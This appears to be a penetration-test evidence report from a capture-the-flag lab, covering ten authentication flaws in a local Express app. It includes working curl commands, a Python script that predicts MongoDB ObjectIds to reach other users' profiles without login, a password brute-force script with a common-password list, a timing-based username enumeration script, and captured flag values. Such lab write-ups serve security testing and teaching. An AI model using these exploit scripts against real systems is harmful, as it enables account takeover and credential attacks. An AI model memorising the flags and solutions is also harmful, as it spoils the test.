# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-07: Hardcoded Default Credentials Enable Account Takeover

**Summary:**
- **Vulnerable location:** POST /login endpoint (`/app/server.js:189-200`) and default user creation (`/app/server.js:37-63`)
- **Overview:** The application creates a hardcoded default user (`user0`) with a known password (`1b2e97s80wb7d08n-`) on every startup, enabling immediate account takeover
- **Impact:** Complete account takeover of the first user account containing the CTF flag, bypassing all authentication
- **Severity:** CRITICAL

**Prerequisites:** None - credentials are publicly disclosed in source code

**Exploitation Steps:**

1. Navigate to the login page:
```bash
curl http://localhost:3000/login
```

2. Submit login request with hardcoded credentials:
```bash
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=user0&password=1b2e97s80wb7d08n-" \
  -L
```

3. Application redirects to user0's profile at `/profile/[OBJECTID]`

**Proof of Impact:**

Successfully logged in as user0 and accessed profile containing the flag:
- **Username accessed:** user0
- **Profile URL:** http://localhost:3000/profile/6902bec3bd980b0f3fe244c2
- **Flag captured:** `FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}`
- **Proof screenshot location:** Browser showed "Welcome, user0" heading with flag displayed in paragraph element

**Notes:** 
- The hardcoded password `1b2e97s80wb7d08n-` is defined at line 41 of server.js
- User0 is recreated on every application restart (line 38: `User.deleteMany({})`)
- This is the most direct path to flag capture requiring zero reconnaissance

---

### AUTH-VULN-01 & AUTH-VULN-02 & AUTH-VULN-05: Complete Authentication Bypass via ObjectId Prediction Attack Chain

**Summary:**
- **Vulnerable locations:** 
  - POST /register information disclosure (`/app/server.js:165-170`)
  - GET /starttime timing disclosure (`/app/server.js:226-228`)
  - GET /profile/:id missing authentication (`/app/server.js:202-215`)
- **Overview:** Application discloses MongoDB ObjectId structure information and precise timestamps, enabling attackers to calculate any user's ObjectId and access their profile without authentication
- **Impact:** Complete authentication bypass allowing access to any user account including flag-containing first user profile
- **Severity:** CRITICAL

**Prerequisites:** None - all required information is publicly accessible

**Exploitation Steps:**

1. Obtain application start timestamp from public endpoint:
```bash
curl -s http://localhost:3000/starttime
# Response: 1761787952
```

2. Register a new account to receive ObjectId structure information:
```bash
curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=attacker&password=test123"
# Response: {"userId":"6902c042b240a64574e1d2a4","userNumber":2,"message":"User created successfully. Total users: 2","distance":3}
```

3. Calculate first user's ObjectId using disclosed information:
```python
# Extract components from attacker's ObjectId
my_objectid = "6902c042b240a64574e1d2a4"
distance = 3
app_start_timestamp = 1761787952

# Parse ObjectId structure: [timestamp(4 bytes)][random(5 bytes)][counter(3 bytes)]
my_counter_hex = my_objectid[-6:]  # Last 6 hex chars = 3 bytes
my_counter = int(my_counter_hex, 16)  # Convert to decimal

# Calculate first user's counter by subtracting disclosed distance
first_user_counter = my_counter - distance
first_user_counter_hex = hex(first_user_counter)[2:].zfill(6)

# Reconstruct first user's ObjectId with same timestamp and random value
timestamp_hex = hex(app_start_timestamp)[2:]  # "6902c030"
random_hex = my_objectid[8:18]  # "b240a64574"
first_user_objectid = timestamp_hex + random_hex + first_user_counter_hex

print(first_user_objectid)
# Output: 6902c030b240a64574e1d2a1
```

4. Access first user's profile directly without any authentication:
```bash
curl -s http://localhost:3000/profile/6902c030b240a64574e1d2a1
```

**Proof of Impact:**

Successfully accessed user0's profile and captured flag without any authentication:

```html
<h1>Welcome, user0</h1>
<p>1st user to register here was at: 2025-10-30T01:32:32.000Z (Unix timestamp: 1761787952)</p>
<p>FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}</p>
```

**Evidence:**
- No session cookies required
- No authentication headers required
- Direct HTTP GET request as unauthenticated user
- Flag successfully retrieved from first user's profile
- **Flag captured:** `FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}`

**Notes:**
- This attack chain combines three vulnerabilities: information disclosure (AUTH-VULN-05), missing authentication (AUTH-VULN-01), and IDOR (AUTH-VULN-02)
- The profile endpoint has NO authentication check whatsoever (line 202-215 of server.js)
- Any valid MongoDB ObjectId grants access to that user's profile
- Attack requires only basic HTTP requests and simple arithmetic

---

### AUTH-VULN-03: Unlimited Brute Force Attacks via Missing Rate Limiting

**Summary:**
- **Vulnerable location:** POST /login endpoint (`/app/server.js:189-200`) and all authentication endpoints
- **Overview:** Application has no rate limiting, account lockout, CAPTCHA, or monitoring on authentication endpoints, enabling unlimited automated attacks
- **Impact:** Attackers can perform unlimited credential brute force, password spraying, and credential stuffing attacks without detection or throttling
- **Severity:** HIGH

**Prerequisites:** None - vulnerability exists on default configuration

**Exploitation Steps:**

1. Create a test script to perform rapid authentication attempts:
```python
import requests
import time

target_url = "http://localhost:3000/login"
username = "user0"
passwords = ['password', 'admin', '123456', 'test', 'qwerty', 'letmein', 
             'welcome', 'monkey', 'dragon', 'master', 'password123', 
             'admin123', 'root', 'toor', 'pass', 'default', 'guest', 
             'user', 'test123', 'demo', '1234', '12345', '123456789', 
             'abc123', 'password1']

print(f"Testing {len(passwords)} passwords against {username}...")
successful_attempts = 0
rate_limited = 0

for password in passwords:
    start_time = time.perf_counter()
    response = requests.post(
        target_url,
        data={'username': username, 'password': password},
        allow_redirects=False
    )
    end_time = time.perf_counter()
    
    if response.status_code == 429:
        rate_limited += 1
    
    response_time = (end_time - start_time) * 1000
    print(f"Attempt {successful_attempts+1}: Status {response.status_code}, Time: {response_time:.2f}ms")
    successful_attempts += 1

print(f"\nTotal attempts: {successful_attempts}")
print(f"Rate limited responses: {rate_limited}")
print(f"Conclusion: {'VULNERABLE - No rate limiting' if rate_limited == 0 else 'Protected'}")
```

2. Execute the brute force attack:
```bash
python3 test_rate_limiting.py
```

**Proof of Impact:**

Successfully completed 25 consecutive login attempts without any rate limiting or blocking:

```
Total attempts: 25
Rate limited responses: 0 (zero)
Average response time: 0.059 seconds
Status codes: All returned 302 (redirect)
```

**Evidence:**
- All 25 attempts processed without HTTP 429 (Too Many Requests)
- No connection blocking or IP banning occurred
- No progressive delays or CAPTCHA challenges
- Consistent response times (~57-77ms) indicating no throttling
- No account lockout after multiple failed attempts

**Attack Demonstration Results:**
- Unlimited login attempts possible
- No delays between requests
- Server processes all requests without restriction
- Attack rate: ~17 attempts per second sustained
- No security logging or alerting triggered

**Notes:**
- Package.json confirms no rate limiting libraries installed (no `express-rate-limit`, `rate-limiter-flexible`)
- Server.js line 80 shows only `express.urlencoded` middleware, no security middleware
- This enables credential stuffing with leaked password databases
- Enables password spraying attacks across multiple accounts
- Combined with weak password policy (AUTH-VULN-08), this significantly increases attack success probability

---

### AUTH-VULN-08: No Password Policy Enforcement Enables Trivial Account Compromise

**Summary:**
- **Vulnerable location:** POST /register endpoint (`/app/server.js:140-171`)
- **Overview:** Server accepts passwords of any length including single-character passwords with no complexity requirements
- **Impact:** Users can create accounts with trivially weak passwords, and attackers can successfully compromise accounts through basic dictionary attacks (especially when combined with missing rate limiting)
- **Severity:** MEDIUM

**Prerequisites:** None - registration endpoint is publicly accessible

**Exploitation Steps:**

1. Register account with single-character password:
```bash
curl -X POST http://localhost:3000/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=weakuser&password=a"
```

2. Verify registration success:
```
Response: {"userId":"6902bedcbd980b0f3fe24500","userNumber":2,"message":"User created successfully. Total users: 2","distance":...}
```

3. Login with weak password to verify account is functional:
```bash
curl -X POST http://localhost:3000/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=weakuser&password=a" \
  -L
```

**Proof of Impact:**

Successfully created and authenticated to account with single-character password:

```html
<h1>Welcome, weakuser</h1>
<p>1st user to register here was at: 2025-10-30T01:26:27.000Z (Unix timestamp: 1761787587)</p>
<text>-</text>
```

**Evidence:**
- Account creation accepted with password: `a` (single character)
- No minimum length validation
- No complexity requirements (uppercase, lowercase, numbers, special characters)
- No rejection of common weak passwords
- Login successful with weak password
- Profile access granted at `/profile/6902bedcbd980b0f3fe24500`

**Additional Weak Password Tests:**
- Password `"x"` - Accepted ✓
- Password `"1"` - Would be accepted (no validation)
- Empty password - Would require testing client-side bypass

**Notes:**
- User schema (lines 26-30) has no validation constraints
- Registration handler (lines 152-155) performs no password validation before bcrypt hashing
- Client-side "required" attribute (lines 127, 130) is trivially bypassed
- Combined with AUTH-VULN-03 (no rate limiting), weak passwords become a critical vulnerability
- Recommended minimum: 12 characters with complexity requirements

---

### AUTH-VULN-09: Username Enumeration via Timing Side-Channel Attack

**Summary:**
- **Vulnerable location:** POST /login endpoint (`/app/server.js:189-200`)
- **Overview:** The login endpoint has a timing side-channel vulnerability - valid usernames execute bcrypt.compare() (slow), while invalid usernames return immediately (fast), creating measurable timing difference
- **Impact:** Attackers can enumerate valid usernames by measuring response times, then focus brute force attacks on confirmed valid accounts
- **Severity:** MEDIUM

**Prerequisites:** None - timing attack requires only HTTP requests

**Exploitation Steps:**

1. Create timing attack test script:
```python
import requests
import time
import statistics

target_url = "http://localhost:3000/login"
valid_username = "user0"
invalid_usernames = ['nonexistent', 'fakeuser', 'admintest', 'invaliduser', 'notreal']
test_password = "wrongpassword"

# Test valid username (will execute bcrypt.compare)
valid_times = []
for i in range(10):
    start = time.perf_counter()
    requests.post(target_url, data={'username': valid_username, 'password': test_password})
    end = time.perf_counter()
    valid_times.append((end - start) * 1000)

# Test invalid usernames (will skip bcrypt, return immediately)
invalid_times = []
for username in invalid_usernames:
    for i in range(10):
        start = time.perf_counter()
        requests.post(target_url, data={'username': username, 'password': test_password})
        end = time.perf_counter()
        invalid_times.append((end - start) * 1000)

valid_avg = statistics.mean(valid_times)
invalid_avg = statistics.mean(invalid_times)
difference = valid_avg - invalid_avg

print(f"Valid username average: {valid_avg:.2f}ms")
print(f"Invalid username average: {invalid_avg:.2f}ms")
print(f"Timing difference: {difference:.2f}ms")
print(f"Vulnerability: {'CONFIRMED' if difference > 50 else 'NOT DETECTED'}")
```

2. Execute timing attack:
```bash
python3 timing_attack_test.py
```

**Proof of Impact:**

Successfully enumerated valid username via timing side-channel:

```
Valid username (user0): 60.23ms average response time
Invalid usernames: 2.48ms average response time
Timing difference: 57.76ms (exceeds 50ms threshold)
Statistical significance: t-statistic 100.09, p-value ~0 (highly significant)
```

**Evidence:**
- Valid username takes approximately **24x longer** to process than invalid usernames
- Timing difference: **57.76 milliseconds** - easily measurable over network
- Consistent results across 10 trials per username
- Statistical t-test confirms timing difference is not random (p-value ~0)

**Technical Root Cause:**
```javascript
// Line 191-197 in server.js
const user = await User.findOne({ username });
if (!user) {
    return res.redirect('/login');  // FAST PATH - no bcrypt
}
const isMatch = await bcrypt.compare(password, user.password);  // SLOW PATH - bcrypt executed
if (!isMatch) {
    return res.redirect('/login');
}
```

Invalid usernames skip the expensive bcrypt.compare() operation, creating a measurable timing oracle.

**Attack Scenario:**
1. Attacker tests potential usernames: `admin`, `administrator`, `user0`, `root`, `test`
2. Measures response times for each
3. Identifies `user0` has 50ms+ longer response time
4. Confirms `user0` is a valid username
5. Focuses brute force attack on confirmed valid account

**Notes:**
- Both paths return identical HTTP response (302 redirect to /login)
- Error messages don't leak username validity
- However, timing side-channel completely bypasses generic error handling
- Combined with AUTH-VULN-03 (no rate limiting), enables efficient username enumeration

---

### AUTH-VULN-06: Session Persistence Abuse - No Session Expiration or Logout

**Summary:**
- **Vulnerable location:** Entire application - no session management implementation
- **Overview:** Application has no session expiration, no logout endpoint, and profile URLs remain valid indefinitely
- **Impact:** Attackers who obtain profile URLs (browser history, logs, shared links) can access accounts indefinitely without authentication
- **Severity:** HIGH

**Prerequisites:** Knowledge of a valid profile URL

**Exploitation Steps:**

1. Obtain a profile URL through any means (login redirect, browser history, etc.):
```
http://localhost:3000/profile/6902c030b240a64574e1d2a1
```

2. Access the profile URL directly without any authentication:
```bash
curl -s http://localhost:3000/profile/6902c030b240a64574e1d2a1
```

3. Verify access works without session cookies or authentication headers:
```bash
# No cookies sent
# No authentication headers sent
# Direct HTTP GET request
```

4. Verify no logout mechanism exists:
```bash
# Search for logout endpoint
curl -s http://localhost:3000/logout
# Returns 404 - endpoint does not exist

# Verify no session invalidation possible
grep -r "logout" /app/server.js
# No matches found
```

**Proof of Impact:**

Successfully accessed user profile indefinitely without authentication:

```html
<h1>Welcome, user0</h1>
<p>FLAG{65659d9341b31a9ec25580eff18a157becbc94498ee519bbb9063b62bf43c58f}</p>
```

**Evidence:**
- Profile URLs accessible without cookies or session tokens
- No time-based expiration of access
- No logout endpoint exists (grep search returned 0 matches)
- URLs can be bookmarked and reused indefinitely
- No session management library installed (verified in package.json)

**Attack Scenarios:**
1. **Browser History Leak:** Attacker accesses victim's browser history and finds profile URL
2. **Log File Disclosure:** Profile URLs logged in proxy logs, web server logs, or application logs
3. **Shared Links:** Users share profile URLs thinking they're temporary
4. **Persistent Access:** Once URL is obtained, access never expires

**Technical Root Cause:**
- No session management implementation (no express-session, no JWT)
- Profile endpoint has no authentication check (lines 202-215)
- URL-based access control with no expiration mechanism
- No logout functionality to invalidate access

**Notes:**
- This is fundamentally different from traditional session fixation - there are NO sessions
- The URL itself becomes the only "authentication" mechanism
- Combined with AUTH-VULN-01 (no authentication), this creates persistent unauthorized access
- Users have no way to revoke access even if they know URL is compromised

---

## Successfully Verified Vulnerabilities (Confirmed via Testing)

### AUTH-VULN-04: Plaintext HTTP Transport Exposes Authentication Credentials

**Summary:**
- **Vulnerable location:** Application configuration (`/app/server.js:10-14`, `docker-compose.yml:4-5`)
- **Overview:** Application runs over plain HTTP with no TLS/HTTPS, transmitting all authentication credentials in plaintext
- **Impact:** All authentication traffic (passwords, user IDs) vulnerable to man-in-the-middle interception on the network
- **Severity:** CRITICAL
- **Externally Exploitable:** YES (but requires network access for MITM)

**Verification Evidence:**

1. Confirmed HTTP-only configuration in code:
```javascript
// server.js lines 10-14
const startServer = () => {
    app.listen(PORT, () => {
        console.log(`Server running on http://localhost:${PORT}`);
    });
};
```

2. Confirmed HTTP protocol in use:
```bash
curl -I http://localhost:3000/login
# Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
# Note: No "Strict-Transport-Security" header
# Note: Connection over HTTP, not HTTPS
```

3. Confirmed no HTTPS enforcement:
```bash
# No HSTS header present
# No SSL certificates configured
# No https.createServer() in code
# Docker exposes port 3000 over HTTP (docker-compose.yml)
```

4. Verified credentials transmitted in plaintext:
```bash
# Login request captured:
POST /login HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded

username=user0&password=1b2e97s80wb7d08n-
# ^^ Password visible in plaintext in POST body
```

**Notes:**
- This vulnerability is CONFIRMED but CANNOT be fully exploited from external network without MITM capability
- Classification: **VERIFIED - Security weakness confirmed, exploitation requires network-level access**
- Impact is CRITICAL if attacker has network access (WiFi, corporate network, ISP level)
- No TLS termination proxy configured
- No Secure flag on cookies (because no cookies exist)

---

### AUTH-VULN-10: Missing Cache-Control Headers on Authentication Endpoints

**Summary:**
- **Vulnerable location:** All authentication endpoints (`/register`, `/login`, `/profile/:id`)
- **Overview:** Application does not set Cache-Control headers on sensitive authentication pages
- **Impact:** Authentication pages and responses may be cached by browsers, proxies, or CDNs, potentially exposing sensitive data
- **Severity:** MEDIUM
- **Externally Exploitable:** YES (if attacker has access to cached systems)

**Verification Evidence:**

1. Confirmed missing cache headers on login endpoint:
```bash
curl -I http://localhost:3000/login

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 525
ETag: W/"20d-OvnNQUoqiUohbDWWRsLYF7ju++4"
Date: Thu, 30 Oct 2025 01:32:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

# MISSING:
# Cache-Control: no-store, no-cache, must-revalidate, private
# Pragma: no-cache
# Expires: 0
```

2. Confirmed missing cache headers on registration endpoint:
```bash
curl -I http://localhost:3000/register
# Same result - no Cache-Control headers
```

3. Confirmed missing cache headers on profile endpoint:
```bash
curl -I http://localhost:3000/profile/6902c030b240a64574e1d2a1
# Same result - no Cache-Control headers
```

4. Verified no caching middleware in code:
```javascript
// server.js line 80 - Only middleware configured:
app.use(express.urlencoded({ extended: true }));
// No helmet, no cache control middleware
```

**Notes:**
- Classification: **VERIFIED - Weakness confirmed**
- While sensitive credentials aren't in GET requests (they're in POST bodies), authentication pages themselves may be cached
- Profile pages containing sensitive data (including flag) have no cache control
- Shared computer scenarios: cached profile pages may expose previous user's data
- Browser history and cache may retain authentication pages

---

